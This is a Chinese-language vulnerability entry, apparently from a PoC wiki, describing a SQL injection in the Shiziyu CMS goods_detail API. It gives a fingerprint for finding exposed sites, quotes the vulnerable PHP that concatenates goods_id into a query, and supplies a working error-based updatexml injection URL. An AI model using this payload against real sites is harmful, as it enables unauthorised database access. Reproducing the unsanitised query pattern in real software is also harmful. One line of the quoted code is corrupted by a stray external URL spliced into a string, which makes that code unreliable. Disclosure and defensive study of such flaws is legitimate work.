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71 lines
1.7 KiB
Markdown
71 lines
1.7 KiB
Markdown
# 狮子鱼CMS ApiController.class.php SQL注入漏洞
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## 漏洞描述
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狮子鱼CMS ApiController.class.php 参数过滤存在不严谨，导致SQL注入漏洞
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## 漏洞影响
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```
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狮子鱼CMS
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```
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## 网络测绘
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```
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"/seller.php?s=/Public/login"
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```
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## 漏洞复现
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登录界面如下
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存在漏洞的文件为 **ApiController.class.php** , 关键位置为
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```php
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public function goods_detail()
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{
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$goods_id = I('get.goods_id');
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//gallery =>img_url
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//goods goods.goods_desc goods_name group_price market_price sell_count group_number
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$sql="select g.*,gd.description,gd.summary,gd.tag from ".
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C('DB_PREFIX')."goods g,".C('DB_PREFIX')."goods_description gd where g.goods_id=gd.goods_id and g.goods_id=".$goods_id;
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$goods_arr=M()->query($sql);
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$qian=array("\r\n");
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$hou=array("<br/>");
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$goods_arr[0]['summary'] = str_replace($qian,$hou,$goods_arr[0]['summary']);
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$sql="select image from ".C('DB_PREFIX')."goods_image where goods_id=".$goods_id;
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$goods_image=M()->query($sql);
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$gallery = array();
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$default_image = '';
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foreach($goods_image as $val)
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{
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$val['img_url'] = str_replace('http','https',C('SITE_URL')).'/Uploads/ http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/'.$val['image'];
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if(empty($default_image))
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{
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$default_image = str_replace('http','https',C('SITE_URL')).resize($val['image'], C('goods_thumb_width'), C('goods_thumb_height'));
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}
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$gallery[] = array('img_url' => $val['img_url']);
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}
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$goods = $goods_arr[0];
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```
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漏洞测试为
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```plain
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https://xxx.xxx.xx.xxx/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5(1),0x7e),1)
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```
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